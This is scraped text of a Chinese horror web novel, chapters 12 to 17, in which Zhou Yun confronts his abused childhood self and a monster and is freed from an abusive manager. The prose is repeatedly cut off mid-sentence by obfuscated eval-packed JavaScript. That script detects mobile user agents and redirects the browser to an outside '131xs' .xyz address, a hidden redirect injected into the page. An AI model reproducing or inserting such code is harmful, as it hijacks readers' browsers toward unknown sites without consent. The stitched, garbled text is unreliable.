l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653350|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武和陈奇正焦急地等待着。 他们之前听到了电梯急速下行的巨大动静,以及那声短促却凄厉的咆哮,一颗心早就提到了嗓子眼,生怕打开门会看到什么无法承受的恐怖景象。 当看到那扇如同被炮轰过的电梯门时,三人的脸色瞬间变得煞白。 楚文武倒抽一口冷气,下意识后退半步。 陈奇喉咙里发出一声低低的咒骂:“靠……这他妈里面……不会装着个怪物吧?” 林晓鹿抬手捂住了嘴,身体微微发抖。 电梯门完全打开。 门内昏暗的光线下,首先映入他们眼帘的,是轿厢角落里那半颗狰狞的头颅,以及布满污迹和暗褐色不明痕迹的地板。 紧接着,肖靳言神色平静地从里面走了出来。 他身上依旧干净利落,冲锋衣上甚至连一丝灰尘都未曾沾染, 随后,宿珩拽着一个失魂落魄、形容枯槁憔悴的青年,也面无表情地走了出来。 “这……这位是?” 陈奇看着陌生的周云,又看看电梯里的惨状,以及角落里那颗头颅,脑子有点转不过来。 林晓鹿和楚文武也愣住了,他们从未在19楼见过这个人。 被宿珩半拖半拽出来的周云,脚步虚浮,眼神依旧有些涣散。 他茫然地环顾四周这片既熟悉又陌生的昏黄走廊,似乎还没完全从刚才那惊心动魄的遭遇,以及骤然脱离19楼监视地狱的恍惚感中彻底回过神来。 他的视线漫无目的地扫过面前这三个神色各异的陌生人。 然后,就在下一秒,周云的目光骤然定格。 如同被施了定身法一般,牢牢地定格在林晓鹿因为紧张而紧紧攥在手里的一样东西上。 那是一个非常破旧、甚至可以说是残破的塑料玩具小汽车。 红色的车漆已经大片大片地剥落,露出底下暗淡的灰色塑料底色,四个车轮也早已不知所踪,只剩下光秃秃的金属轴暴露在空气中。 周云的身体,在看到那辆玩具车的瞬间,猛地剧烈颤抖起来。 宿珩第一时间察觉到了他手臂上传来的震颤。 这一次的颤抖,与之前因为恐惧而产生的剧烈抖动截然不同。 那是一种……混杂着难以置信、狂喜、委屈、以及某种失而复得的……激动。 周云死死盯着那辆破旧的玩具车,眼睛一眨不眨,苍白的嘴唇开始哆嗦,喉咙里发出意义不明的声音,像是想说什么,却因为情绪过于激动而发不出声音。 他看向林晓鹿,又看向那辆车,原本空洞的眼神里,第一次燃起了某种强烈的光芒。 13. 第 13 章 “这……这车……你们在哪里找到的?” 周云的声音带着明显的颤抖,他伸出手,指尖几乎要触碰到那辆残破的红色玩具车,却又在半空中停住,仿佛那是什么易碎的珍宝。 林晓鹿攥紧了手里的玩具车,粗糙的塑料边缘硌着她的掌心。 她下意识地转头看向走廊深处那个黑洞洞的802房门,身体不由自主地紧绷了一下。 “在802里面,一个堆杂物的……仓库里找到的。” 林晓鹿的声音还有些发虚,“被几件……几件带着暗红色污渍的旧衣服压在最底下,找了好久……” 其实她更想说的是血渍。 楚文武接口补充,脸上还残留着后怕:“我们找到车刚想出来,那个男人……就是那个继父,突然回来了!浑身酒气,走路都打晃,差点就撞上我们!” 他比划着当时的惊险:“幸好仓库里有个大铁架子,我们三个赶紧躲到后面,大气都不敢喘。” 陈奇也跟着点头,心有余悸:“那家伙在外面翻箱倒柜,嘴里骂骂咧咧的,吓得老子魂都没了,生怕他一掀帘子……” “后来……是那个小男孩……” 林晓鹿的声音低了下去,带着浓浓的愧疚,“他好像……故意打碎了一个杯子,响声很大,把那个男人的注意力引过去了。” “然后……我们就听到外面传来很响的……打骂声,但那孩子……从头到尾,一声都没吭。” 林晓鹿闭上眼睛,仿佛不忍回想,“等外面安静下来,那个男人又骂骂咧咧地走了,我们才敢出来。” 为了掩护他们,那个小小的身躯又承受了一顿毒打。 林晓鹿胸口像是压着巨石,几乎喘不过气,她觉得自己成了帮凶。 “他是在帮你,也是在帮他自己。” 肖靳言的声音在旁边响起,平稳得没有波澜。 “恐惧无法自救,反抗才有生机。他摔碎杯子,不是为了你们,是为了他自己内心积攒了无数次,却始终不敢迈出的那一步。” 肖靳言的话语像是一束冷光,穿透了林晓鹿心头的迷雾。 她怔怔地看着肖靳言,看着他平静而笃定的眼神,心头那股沉重的负罪感,似乎被轻轻托起了一些。 林晓鹿慢慢消化着这句话的含义,紧绷的肩膀逐渐放松下来。 是啊,那个孩子,或许也在用他自己的方式,尝试着打破这个令人窒息的牢笼。 林晓鹿对着肖靳言,低低地说了一句:“谢谢你。” 肖靳言没应声,只是将落在林晓鹿身上的视线移开。 恰在此时,走廊拐角处,802那扇破烂的门被轻轻推开了一条缝。 一个小小的身影迟疑地探出头,正是那个脸上带着新伤的小男孩。 他怯生生地望着这边,手里还紧紧攥着半块干硬的面包。 青年周云的身体猛地一震。 他松开了宿珩的手臂,像是被某种无形的力量牵引着,一步一步,朝着那个小小的身影走去。 他的脚步虽然还是很虚浮,但和19楼相比,现在的每一步都踩得更稳。 小男孩看着这个陌生又隐约熟悉的“大哥哥”走近,攥着面包的手指收得更紧,身体本能地向后缩了缩,却没有像往常一样立刻躲回门后。 青年周云在小男孩面前缓缓蹲下身。 他伸出手,指尖带着无法抑制的颤抖,轻轻碰了碰小男孩脸颊上那块最刺目的青紫。 小男孩瑟缩了一下,睫毛扑簌着,却没有躲开。 下一刻,青年周云猛地张开双臂,将那个瘦小的、遍体鳞伤的身体,紧紧地拥入怀中。 他把脸埋在小男孩单薄的肩膀上,那压抑了太久太久的呜咽终于冲破喉咙,化作撕心裂肺的痛哭。 那哭声里,有无尽的委屈,有迟来的安慰,有跨越了十几年光阴,终于能够触碰、安抚的……自我怜惜。 小男孩僵硬地被抱着,小小的身体先是绷紧,然后一点点放松下来。 他犹豫了一下,最终还是抬起那只没拿面包的手,笨拙地拍了拍青年周云不断耸动的后背。 宿珩安静地站在一旁,看着眼前这一幕。 陈奇看得一头雾水,他捅了捅旁边的楚文武:“哎,这……这谁啊?怎么回事?” 不等楚文武回答,林晓鹿已经轻声开口,声音里带着一种奇异的平静和了然:“那是十九岁的周云,在拥抱八岁时的自己。” 陈奇张大了嘴巴,看看抱在一起的两个人,又看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653351|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看电梯里那半颗被遗弃的狰狞头颅,再想想24楼那个麻木的男人。 他好像……突然就懂了。 一种难以言喻的憋闷涌上心头,陈奇沉默地低下头,攥紧了拳头。 哭了不知多久,青年周云才缓缓松开小男孩。 他用袖子胡乱抹了把脸,虽然眼睛还是红肿的,但整个人看起来却像是卸下了千斤重担,某种沉郁的东西从他身上剥离了。 他从林晓鹿手里接过那辆破旧的玩具车,用指腹小心翼翼地擦了擦上面的灰尘,每一个动作都带着近乎虔诚的郑重,然后将车塞进了小男孩的手里。 “拿着,这是你的。” 小男孩低头看着手里的玩具车,又抬头看看面前的青年,黑白分明的眼睛里闪过一丝懵懂,但还是乖乖地把车握紧了。 青年周云站起身,转过来,第一次真正意义上地,正视着宿珩和肖靳言他们。 他的腰杆挺直了许多,不再是之前那种畏缩佝偻的模样。 “我想通了。”他的声音不再颤抖,带着一种雨过天晴后的平静,“有些东西,逃是逃不掉的,人总不能一辈子躲在柜子里。” 他抬手指了指电梯的方向,又指了指上方。 “我要回19楼。” “那些恶心的眼睛,那些屈辱的记忆……我不跑了。” 他扯动了一下嘴角,那是一个算不上笑容的表情,却透着一股决绝。 “我要回去,把那些恶心的照片全部撕烂,把那些恶心的摄像头……全都砸烂。” “嗯。” 宿珩淡淡应了一声,走到电梯前,伸手按下了开门键。 那扇千疮百孔的门再次缓缓打开。 周云深吸一口气,没有丝毫犹豫,第一个迈步走了进去。 宿珩和肖靳言对视一眼,也跟着走了进去。 陈奇和楚文武紧随其后。 林晓鹿回头看了一眼站在原地的小男孩,轻声问:“小朋友,你要不要跟我们一起走?” 小男孩握着玩具车,用力地摇了摇头。 他往后退了一步,小小的身影重新隐没在802那扇破烂的门后,只留下一道细细的门缝。 电梯门缓缓闭合,隔绝了8楼昏黄压抑的光线。 14. 第 14 章 电梯轿厢内。 周云挺直的背脊,与之前那个蜷缩颤抖的青年判若两人。 他转向宿珩和肖靳言,脸上残留的泪痕未干,但某种决意沉淀在他重获焦点的瞳孔深处,里面不再是空洞的恐惧。 “我想……一个人上去。” 周云开口,音量不高,却带着一种出乎意料的平静,“这是我的事,我想自己解决。” 宿珩的眉头拧起,唇线绷紧,似乎不太同意。 身侧的肖靳言却抬起手臂,虚拦了一下。 他向前倾身,动作自然地凑近宿珩耳边,温热的气息几乎拂过耳廓。 “‘心门’的根源在他自己。” 低沉的嗓音压得极低,几乎只有两人能听见,“我们的存在顶多算外力,而外力推不动心墙,得他自己走出来。看着吧,他或许比你想的要强韧。” 这姿态过于亲近,宿珩身体短暂地绷紧,他微微偏头,避开了那股近距离的气息,鼻翼间萦绕的烟草混合冷松木的气味却挥之不去。 恰在此时,一直竖着耳朵试图捕捉他们对话内容的楚文武,又一次精准地看到了这“咬耳朵”的一幕。 他眼睛睁得溜圆,下意识拽了拽旁边的林晓鹿的衣袖。 林晓鹿顺着他的示意看去,只捕捉到两人迅速拉开距离的动作。 几乎是一瞬间,宿珩恢复了惯常的冷淡疏离,肖靳言则懒洋洋地重新靠回轿厢壁,仿佛什么都没发生。 楚文武用口型无声地对林晓鹿比了个“看吧”,脸上是“我就说他俩关系绝对不一般”的八卦神情,又飞快地低下头,假装研究自己的鞋带。 宿珩没有再开口反对周云的提议,只是沉默地站着。 “叮——” 电梯停稳。 那扇饱经摧残的金属门向两侧滑开。 门外的景象让刚刚缓过一口气的陈奇再次倒抽一口凉气,只觉得浑身发冷。 走廊里一片狼藉,如同被某种巨型掠食者蹂躏过。 地面、墙壁、天花板,到处散落着被斩断的黑色数据线残骸,它们蜷曲着,像干枯的蠕虫。 一些碎裂的微型摄像头碎片,闪烁着幽冷的微光,遍布各处,混合着干涸的、暗褐色的不明液体污渍。 空气中弥漫着一股浓郁的腥臭,刺鼻得让人几欲作呕。 更骇人的是,就在1904那扇破烂歪斜的门框上方,一个由干瘪肢体、破烂衣物和无数摄像头构成的怪物,依旧盘踞在天花板的阴影里。 它缺少了一半的脑袋,身上的摄像头不再疯狂闪烁红光,而是呈现一种死寂的暗红色,仿佛凝固的血块。 庞大的身躯随着呼吸微微起伏着,像一只正在蛰伏的巨型蜘蛛,散发着令人毛骨悚然的恶意与粘稠的窥伺欲。 “我……操……” 陈奇喉咙里挤出破碎的音节,冷不丁想起电梯里的那半颗脑袋。 他脸色惨白地扭头看向身后的宿珩和肖靳言,表情中混合着恐惧和某种荒谬的敬畏。 “两位哥,这……这是什么东西?” 没有人回应他。 周云同样没有理会身后的骚动。 他站在电梯口,深深地吸入一口污浊的空气,又缓缓吐出,仿佛要将肺里残存的恐惧一并排出。 然后,他下定了决心,一步迈出了电梯轿厢。 他的身影在昏暗破败的走廊灯光下,显得格外单薄,却异常笔直。 怪物似乎感应到了“周云”的再次出现。 盘踞的身体猛地一阵抽搐,那些暗红色的摄像头齐刷刷地转向周云,喉咙里发出嘶哑难听的“咯咯”声,充满了怨毒与贪婪。 下一秒,它庞大的身躯如同捕食般,从天花板上直扑而下,带着一股腥臭的狂风,无数残存的数据线如同黑色的毒蛇,张牙舞爪地抓向周云! 电梯里的陈奇和林晓鹿同时发出了短促的惊呼,楚文武也紧张地握紧了拳头。 然而,预想中血肉横飞或者周云被瞬间撕碎的场面,并未发生。 那些曾经能轻易抽裂铁床架、刺穿电梯门的黑色数据线,在即将触碰到周云身体的瞬间,却像是被抽走了所有的骨骼与力量般,齐齐软化,无力地垂落下来。 它们软绵绵地搭在周云的肩膀和手臂上,甚至无法划破他身上那件洗得发白的格子衬衫,只是徒劳地蠕动着,像一堆失去生命的电线。 怪物的动作猛地僵住。 它扑击的势头硬生生停在半空中,庞大的身躯悬停在周云面前,离他不过半米。 它那由无数摄像头组成的“脸”上,所有的暗红光点都凝固了,透出一种难以置信的……呆滞。 仿佛无法理解,为何自己无往不利的武器,突然间失去了作用。 周云抬起手,面无表情地拂开搭在身上的数据线,动作平静得像是在掸掉衣服上的灰尘。 他抬起头,直视着面前这个庞大而丑陋的怪物—— 这个曾经让他恐惧到几乎崩溃,为躲避它的窥伺和羞辱,只能日夜躲藏在衣柜里的梦魇。 如今的他不想继续了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653352|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当内心不再滋生恐惧的土壤,这依靠恐惧为生的怪物,便失去了所有力量的根源。 它依旧存在,却已无法再伤害他。 宿珩在电梯里看到这一幕,确认了肖靳言之前的判断。 周云的确已经找到了独自处理这层楼梦魇的关键。 宿珩不再停留,伸手直接按下了24楼的按钮,将这里交给了周云。 电梯门缓缓开始闭合,隔绝了走廊里的景象。 最后映入众人眼帘的—— 是周云抬起手,没有丝毫犹豫地主动抓向怪物那颗扭曲头颅的画面。 他的动作缓慢,却蕴含着一种破釜沉舟的力量。 —— 电梯重新向上运行,轿厢内弥漫着一片诡异的沉默。 只有电梯运行的嗡鸣声,和陈奇依旧粗重的喘息声。 刚才那一幕带来的冲击,让所有人都暂时失去了言语。 “宿哥,肖哥……” 过了好一会,楚文武终于忍不住开口,打破了沉默,他看向靠在墙壁上的两人,眼睛里闪烁着难以抑制的好奇与探究。 “你们刚才……在19楼,真的跟那个怪物打了一架?” 肖靳言倚靠在轿厢壁上,闻言偏头看了楚文武一眼,他并未作答,只是挑了挑眉,那表情似笑非笑,带着点不置可否的意味。 这副神秘的姿态,没有给出肯定答案,却反而让楚文武更加认定—— 刚才在19楼必然发生了一场他们无法想象的惊天动地的恶战,而眼前这两个人,就是毫发无伤的胜利者。 妈的……简直太牛掰了! 楚文武几乎变成了星星眼。 宿珩则完全没理会他的问题,仿佛一切与他无关。 足足过了半分钟,电梯终于抵达24楼。 门缓缓滑开。 外面依旧是那个压抑的、如同巨大囚笼般的办公室。 惨白的白炽灯光毫无温度地洒下,将一切都映照得毫无生气,一个个逼仄的隔间密集排列,如同坟墓一般。 只是,这里空无一人。 之前那个坐在工位上,在键盘上反复敲击着“忍”字的周云,不见了。 那个属于他的工位空着,电脑屏幕漆黑一片。 而工位对面的那间经理室,此刻房门大敞。 只不过里面同样空空荡荡。 那个带给周云无尽压迫感的“经理”,与此同时也消失了踪影。 整个24楼,陷入一片绝望的死寂。 15. 第 15 章 楚文武快步冲到周云的工位前,伸手摸了摸那把破旧的办公椅。 “没人啊?椅子都不热了……这层楼就这么点大,他们人还能凭空消失不成?” 他围着桌子转了两圈,语气里满是困惑。 宿珩没有理会楚文武的疑问。 视线缓缓扫过脏乱的桌面,最终停留在键盘上“REN”三个字母上。 他的脑海里,倏地浮现出之前在卫生间门口,周云那副惊恐到几乎崩溃、死死抗拒的模样。 尤其是那个上锁的隔间。 宿珩抬起头,看向走廊深处的卫生间。 几乎是同时,站在他身旁的肖靳言也动了。 他什么都没问,只是朝走廊深处瞥了一眼,然后率先迈开步子。 宿珩跟上。 两人动作一致,仿佛排练过一般,朝着那个散发着恶臭与不祥气息的源头走去。 “哎?两位哥哥!你们这又是要去放水吗?” 楚文武愣了一下,赶紧追了上去。 陈奇本来就因为紧张而有些内急,加上刚才在19楼被那怪物惊吓,此刻听到楚文武的话,几乎是条件反射地喊道:“诶诶诶……等等我一起去!” 他迈着小碎步,紧紧跟在楚文武后面。 林晓鹿看着几个男人的背影消失在隔断拐角,又看了看空旷寂静,仿佛随时会有什么东西从阴影里钻出来的办公室,心底升起一股寒意。 她攥紧了衣角,最终还是选择跟上楚文武,打算在卫生间外面等他们。 走廊比办公室里更加阴暗。 宿珩和肖靳言最先抵达走廊尽头。 卫生间的绿色木门依旧虚掩着,门缝里透出的光线昏暗不明,一股难闻的腥臭味飘了出来。 就在他们即将推门而入的瞬间,一阵压抑到极点的、断断续续的声音,从门缝里微弱地传了出来。 “……说了多少次……工作要认真,你要听话……不然……你知道后果……” 是经理的声音。 低沉沙哑,带着一种油腻的威胁和不容置喙的命令。 “……你要是再敢偷懒……或者想些不该想的……就不是……这么简单了……” 伴随着经理的话,是另一种更加微弱、更加令人心悸的声音。 像是呜咽,又像是受伤动物的哀鸣,充满了痛苦和屈辱,以及一种被彻底碾碎后的……隐忍。 那是周云的声音。 门外的几个人都停住了脚步,空气仿佛凝固了。 楚文武下意识地捂住了嘴,陈奇瞪大了眼睛,林晓鹿更是脸色惨白,想到了某种令人不齿的职场侵犯。 就在这令人窒息的寂静中,陈奇因为紧张不小心在原地走了两步,脚步声如同投入死水中的石子,瞬间打破了门内那脆弱的平衡。 里面的声音戛然而止,仿佛被一只无形的手掐断。 卫生间里,只剩下单调而固执的水滴声,以及更加深沉和令人不安的死寂。 宿珩眉头蹙起,抬手对身后的人比了一个噤声的手势。 他不再有任何犹豫,伸手推开了那扇沉重而朽烂的木门,迈步走了进去。 肖靳言紧随其后。 卫生间内部,空无一人。 墙壁上发黄开裂的白瓷砖,角落里布满污垢的洗手台,空气中弥漫的恶臭……一切都和之前他们离开时一样。 仿佛刚才门外听到的那一切,都只是他们的幻觉。 宿珩的视线越过小便池,直接落在最后一个隔间。 ——那个之前被一把锈迹斑斑的大铁锁锁住的隔间。 此刻,隔间的门板虚掩着,向内推开了一道并不明显的缝隙,而那把大铁锁正孤零零地挂在内侧的门把手上,冰冷的金属在昏暗的光线下反射着幽幽的光泽。 宿珩侧过头,看向身旁的肖靳言,抬了抬下巴,示意那个敞开缝隙的隔间。 肖靳言倚在入口处的墙壁上,看到宿珩的动作,眉梢几不可察地向上挑了一下,幅度极淡,带着一种难以言喻的意味。 这是把他当成打手了? 不过想归想,肖靳言的动作却没有丝毫迟疑,右手手腕一翻,那柄造型简洁却锋锐异常的黑色短刀,便悄无声息地从袖中滑入掌心。 刀身在昏暗中划过一道不易捕捉的冷光。 肖靳言朝着那个隔间走去,脚步沉稳,没有发出一点多余的声音。 楚文武、陈奇和林晓鹿也小心翼翼地跟了进来,站在宿珩身后不远处,紧张地看着肖靳言的背影。 肖靳言在那扇虚掩的隔间门前站定。 他没有尝试推门,也没有出声警告,他只是简简单单地抬起了右腿,膝盖微屈。 下一秒。 “砰——!” 一声震耳欲聋的巨响,猛地在死寂的卫生间里炸开! 那扇本就朽烂不堪的木质隔间门,连带着一部分腐朽的门框,被一股蛮横到极致的力量,直接从内向外踹得粉碎! 木屑四处飞溅,混合着灰尘,呛得人忍不住咳嗽。 门后的景象,瞬间毫无遮挡地暴露在所有人面前。 狭窄肮脏的隔间里,光线更加昏暗。 那个穿着笔挺西装,头发梳得一丝不苟的经理,正站在墙角。 他的脸上还残留着被打断好事的不满与阴鸷,此刻更是因为这突如其来的暴力闯入而扭曲起来。 他的身前,是周云。 周云被他用一只粗壮的手臂死死地按在布满污渍的瓷砖墙壁上,另一只手则用力捂着周云的嘴。 周云瘦弱的身体剧烈地颤抖着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卫生间内响起沉闷的撞击声,经理软软地滑落在地,蜷缩成一团,痛苦地干呕着,一时竟爬不起来。 在他被踹飞的同一时间,肖靳言左手快如闪电般探出,一把抓住周云的胳膊。 他没有丝毫怜惜,动作粗暴而直接,像拎一只鸡崽子,把他往后一甩。 周云瘦弱的身体毫无反抗之力,被这股力量带着,直接从狭小的隔间里被丢了出来,“噗通”一声摔在外面相对干净一些的地砖上。 这等强横的武力值,不仅吓傻了周云,就连不远处的另外三人,也都默默退了几步。 16. 第 16 章 肖靳言的动作没有丝毫停顿。 在经理蜷缩在地,试图挣扎爬起的瞬间,他再次上前一步。 坚硬的鞋底携带着沉闷的风声,狠狠踩在经理试图撑地的手肘关节处。 “咔嚓!” 一声清晰的骨骼碎裂声,在狭小的隔间内响起,盖过了经理痛苦的闷哼。 紧接着,肖靳言再次抬脚,鞋跟精准地跺在他另一只完好的手腕上。 又是一声骨裂脆响。 这已经超出了打抱不平的范畴,更像是一种纯粹的、带着强烈个人情绪的惩处。 宿珩站在隔间门口,看着肖靳言近乎虐打的行为,没有阻止。 他只是注意到,肖靳言的攻击非常有针对性,几乎全落在经理那双刚刚触碰过周云,以及之前意图搭向自己肩膀的手上。 隔间里的经理发出了不似人声的痛苦嘶鸣。 他瘫在地上,双手手腕和一只手肘呈现出诡异的扭曲角度。 但更令人不安的变化正在发生。 他蜷缩的身体内部,传来一阵阵密集的、如同骨骼快速错位的“噼啪”声。 裸露在外的皮肤,以肉眼可见的速度迅速失去水分,变得干瘪,并开始覆盖上一层坚硬的、泛着油光的深褐色角质层,如同某种节肢动物的外壳。 他痛苦扭动的身体下,甚至隐约探出了几条细长扭曲、带着倒刺的肢节。 异化开始了,像一只恶心的蟑螂。 宿珩不再关注隔间内的战况。 他相信肖靳言能处理。 宿珩转身,俯视着被肖靳言甩出来后,就一直瘫软在地、眼神空洞的周云。 他弯腰,毫不费力地抓住周云衬衫的后领,像拖一个破布口袋一样,将他拖出了弥漫着血腥味和异变气息的卫生间。 “砰——” 周云的身体被丢在走廊布满灰尘的冰冷地砖上,发出沉闷的声响。 楚文武、陈奇和林晓鹿三人早已被卫生间里传出的暴力声响和经理非人的嘶吼吓得惊慌失措,此刻见宿珩出来,立刻惊恐地跟着退了出来。 他们紧紧贴着走廊另一侧的墙壁,大气不敢喘。 卫生间的门在他们身后敞开着,里面肖靳言与正在异化的经理之间的打斗声和撞击声,以及某种甲壳摩擦地面的刺耳噪音断断续续传出。 让人不敢细想里面正在发生什么。 宿珩似乎并不关注卫生间内的战况,只是站在周云面前,居高临下地看着他。 周云趴在地上,身体还在微微颤抖,脸上泪痕未干,脖颈和手腕上那些渗着血丝的红紫印记,在走廊昏暗的光线下显得格外刺眼。 他的眼神依旧是涣散的,麻木的,仿佛刚刚经历的一切,以及正在隔壁房间发生的恐怖战斗,都与他无关。 他只是沉浸在自己的痛苦和绝望里。 “你还要继续忍吗?” 宿珩的声音响起,不高,却带着一种冰冷的质地,敲打在周云紧绷的神经上。 周云的身体僵了一下。 他缓缓转过头,看向宿珩,脸上没有任何表情,只有一片死寂的灰败。 他张了张嘴,声音干涩得像是砂纸摩擦。 “不忍……又能怎么样呢?” “从小到大……都是这样……” 他扯动了一下嘴角,露出一个比哭还难看的表情,“习惯了。” “这份工作……工资比别人高很多……”他低下头,视线落在自己被掐出淤青的手腕上,声音低得几乎听不见,“只是……付出一点代价而已……” “至少……我还能活下去……” “什么狗屁活下去?!” 周云这番话,如同点燃了炸药桶的引线,瞬间引爆了旁边一直强压着恐惧的陈奇。 不知道这句话触动了他哪根敏锐的神经,陈奇猛地冲了过来,一把揪住周云的衣领,将他从地上粗暴地提了起来。 周云瘦弱的身体在他发达的肌肉面前,脆弱得像根芦苇。 “你管这叫活下去?!你他妈这叫作践自己!” 陈奇的脸因为愤怒而涨得通红,唾沫星子几乎喷到周云脸上。 “老子以前当健身教练的时候,也有老板想花钱让老子陪他!” 陈奇的声音因为激动而嘶哑,“钱不少!一次够老子干大半年的!但老子他妈答应了吗?!” “老子直接把他骂了个狗血淋头,那个傻/逼主管还护着客户,当着所有人的面骂老子,说要开除我!” “老子怎么做的?!” 陈奇双目圆瞪,胸膛剧烈起伏。 “老子反手就把那主管和客户一人揍了一拳!揍得他们鼻青脸肿,趴地上几分钟起不来!然后把工牌摔他俩脸上,直接走人!” “是,老子丢了工作!还在找新工作的时候渴得要死,在路边买瓶水就被拉到这个鬼地方!” 陈奇的手臂因为用力而青筋暴起,“但老子他妈站着!没像你这样趴着当狗!” 周云被他揪着衣领,被迫承受着这狂风暴雨般的怒吼。 他看着眼前这个气得几乎要爆炸的肌肉男人,眼神里除了麻木,似乎还多了一丝茫然。 他从未被人这样对待过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653354|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 童年时,继父的暴力只有恐惧和疼痛。 大学时,室友的偷窥只有焦虑和躲藏。 工作后,经理的猥亵只有屈辱和隐忍。 没有人会这样愤怒地质问他,没有人会用自己的经历来对比他的“忍耐”。 陈奇看着周云那副死气沉沉、逆来顺受的模样,心头的怒火烧得更旺。 他觉得周云的懦弱简直是对他自己原则的一种侮辱。 理智的弦彻底崩断。 “啪!” 一声清脆响亮的耳光声,在寂静的走廊里炸开。 陈奇甩手给了周云一个耳光,力道之大,让周云的头猛地偏向一边,嘴角立刻渗出血丝。 林晓鹿和楚文武都惊呆了,下意识想上前阻止,却被陈奇那副暴怒的样子吓得不敢动弹。 宿珩依旧站在原地,冷眼旁观,似乎并不打算干涉。 陈奇打完一巴掌,似乎还不解气,反手又是一巴掌扇在周云另一边脸上。 “啪!” 又是一声脆响。 周云的脸以肉眼可见的速度迅速红肿起来,两边脸颊都印上了清晰的指印。 他被打得眼冒金星,身体晃了晃,却没有像预想中那样哭喊或者求饶。 他只是抬起头,肿胀的脸上没有任何痛苦的表情,反而是一种更加深沉的……困惑和茫然。 他看着眼前这个因为愤怒而面目狰狞的男人,看着他因为讲述自己经历而泛红的眼眶。 童年被虐待的阴影,大学被偷窥的焦虑,职场被侵犯的屈辱……无数个日夜,他都躲在黑暗的角落里,告诉自己要忍,忍过去就好了。 这是他唯一的生存法则。 可是……真的对吗? 他从未向任何人倾诉过,也从未有人对他说过这些。 那些被深埋的、连他自己都快要遗忘的愤怒和不甘,似乎被这两记响亮的耳光,从麻木的躯壳深处,硬生生抽打了出来。 周云的嘴唇动了动,血沫从嘴角溢出。 他看着陈奇,用一种几不可闻,却异常清晰的声音,问出了一个连他自己都感到陌生的问题。 “我……一直忍着……真的错了吗?” 陈奇听到这话,像是听到了本世纪最好笑的笑话。 他怒极反笑,胸口因为急促的呼吸而剧烈起伏。 “你说呢?!” 怒吼声中,陈奇再次扬起了手。 又是一记响亮的耳光,狠狠扇在周云已经高高肿起的脸上。 “老子现在告诉你,你错了!并且错得一塌糊涂!” 17. 第 17 章 “够了陈奇!” 林晓鹿实在看不下去,硬着头皮冲上前想拉开陈奇,“他……他快被你打死了!” 陈奇的胸口像是破风箱般剧烈起伏,手掌还停留在半空中,维持着扇巴掌的姿势。 许是林晓鹿的话唤回了他的理智,陈奇喘了两口粗气,狠狠地朝地上啐了一口唾沫。 “呸!没卵用的怂货!” 陈奇松开手,像丢一块破布,将周云丢在了满是灰尘的地砖上。 周云的身体撞在地板上,发出沉闷的响动。他侧躺着,两边脸颊高高肿起,嘴角淌着血丝,头发凌乱地贴在额头,模样凄惨狼狈。 然而,出乎所有人意料。 他没有继续趴着,也没有继续哭,那双空洞的眼睛里,似乎有什么东西正在艰难地破土而出。 周云的手臂颤抖着撑住冰冷的地面,指节因为用力而发白。 他晃了晃脑袋,试图驱散那阵阵眩晕,竟是咬着牙,一点一点,极其缓慢却又透着一股令人心惊的执拗,扶着冰冷的墙壁,重新将自己支撑了起来。 宿珩的目光掠过陈奇兀自起伏的胸膛,又落回摇摇晃晃站起的周云身上。 他微微偏头,眼底深处掠过一丝极淡的、近乎冷酷的了然—— 有时候,最粗暴的方式,反而能敲碎最坚硬的壳。 那三巴掌,或许比任何劝说都有效。 周云站稳后,并没有看任何人。 他抬起手背,胡乱抹去嘴角的血污,动作迟缓而僵硬。 然后,他转过身,朝着办公室区域,一步一踉跄地跑了回去。 背影单薄,却不再是之前那种随时会垮掉的佝偻。 “他……他这是去哪儿?” 楚文武看得一头雾水,低声问旁边的林晓鹿。 林晓鹿摇摇头,她也不清楚。 陈奇看着周云跑开的方向,又想到自己刚才那三巴掌的狠劲,脸色微微发白。 他吞了口唾沫,一种不祥的预感涌上心头。 没过多久,脚步声再次响起。 周云回来了。 他手里,死死攥着什么东西。 